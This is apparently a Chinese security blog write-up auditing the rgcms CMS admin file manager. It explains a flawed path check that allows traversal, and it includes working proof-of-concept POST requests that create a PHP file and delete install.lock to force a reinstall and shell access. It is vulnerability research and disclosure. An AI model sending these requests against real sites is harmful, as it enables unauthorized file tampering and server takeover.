背景

入门者建议找一些小CMS进行练手,可以先复现CNVD上面最近的报告,然后根据报告再找一些漏洞。这次复现的是rgcms代码存在漏洞执行过程中找到了其他问题。水了个CNVD证书。

漏洞

可以结合数据包来找白盒审核,其实这CMS还有很多其他问题,很适合实战练手:(

基于tp框架的二次开发,首先的会tp框架

文件创建&&路径穿越

首先是创建文件,创建文件类型没有规定,创建成功的文件写入RGCMS,对文件名和文件路径进行了限制。但是能绕过,造成的结果是任意位置创建文件。

rgcms \ app \ admin \ controller \ Filemanage.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

public function createfile()
{
if(request()->isPost()){
$filename = input('post.filename');
if(count(explode('.',$filename)) != 2) {
//explode以“.”作为分割形成数组,count返回数组数目
$this->error('请输入正确的文件名');
}
$path = input('post.path');
$fullpath = trim($path.DS.$filename);
//$fullpat = template\demopc\demohtml/aaa.php
if(file_exists($fullpath)) {
$this->error('创建失败,该文件已经存在');
}
if($this->checkpath($path)){//这里进入函数检测路径
$result = file_put_contents($fullpath,"RGCMS");
if($result) {
$this->success('创建成功');
} else {
$this->error('创建失败');
}
} else {
$this->error('非法路径');
}
}
}

跟进函数检查路径看他是怎么进行限制的,进入Filemanager.php文件。这里是自己写的过滤,只检查第一个数组,绕过后我们可以在任意位置创建文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 路径验证
private function checkpath($path)
{
if(!empty($path)) {
$patharr = explode(DS,$path);//直接用“/”进行分割,这里用“//”饶过
if($patharr[0] == $this->rootdir) {//只看数组第一个,在后面加“/”就可以
return true;
} else {
return false;
}
} else {
return false;
}
}
}

数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin.php/filemanage/createfile.html HTTP/1.1
Host: www.rgcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Origin: http://www.rgcms.com
Connection: close
Referer: http://www.rgcms.com/admin.php/filemanage/template.html
Cookie: PHPSESSID=3tdauvnougqgebnrmmssj9gch6

filename=qqqq.php&path=template\..\upload

任意文件内容修改

创建文件内容替换为“ RGCMS”,找到修改位置。查看修改图标是暗的,但是抓包可以修改。

相关代码在rgcms \ app \ admin \ controller \ Filemanage.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function editfilesave()
{
if(request()->isPost()){
$data = input('post.');//这里还有问题
$path = $data['path'];
$content = trim($data['content']) ? trim($data['content']) : 'RGCMS';//检测绕过
// 令牌验证 正常登陆没啥用
if(!$this->checkToken($data)){
$this->error(lang('requestfalse'));
}
if($this->checkpath($path)){//checkpath就有问题,其实这里要不是有RGCM校验就直接任意读写了。
if(is_writable($path)) {//判断是否可写
$result = file_put_contents($path,$content);//写入
if($result) {
$this->success('修改成功');
} else {
$this->error('修改失败');
}
} else {
$this->error('文件不可写,修改失败');
}

} else {
$this->error('非法路径');
}
}
}

任意文件删除

相关代码在rgcms \ app \ admin \ controller \ Filemanage.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 删除文件
public function delfile()
{
if(request()->isPost()){
$data = input('post.');
$path = $data['path'];
if($this->checkpath($path)){
$result = @unlink($path);
if($result) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
} else {
$this->error('非法路径');
}
}
}

进入checkpath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    // 路径验证
private function checkpath($path)
{
if(!empty($path)) {
$patharr = explode(DS,$path);
if($patharr[0] == $this->rootdir) {//又是这个熟悉的验证
return true;
} else {
return false;
}
} else {
return false;
}
}
}

删除install.lock文件,系统重装getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin.php/filemanage/delfile.html HTTP/1.1
Host: www.rgcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 158
Origin: http://www.rgcms.com
Connection: close
Referer: http://www.rgcms.com/admin.php/filemanage/template.html
Cookie: PHPSESSID=ip5v7stoov9eaa9q7icmok4lqe

title=1223.php&path=template\..\data\install.lock&children=&mtime=2019-11-07+15%3A09%3A55&size=5B&type=file&ext=php&isReadable=true&isWritable=true&edit=false

其实还有很多其他问题(注入,代码执行,XSS)有兴趣的师傅可以搞一下。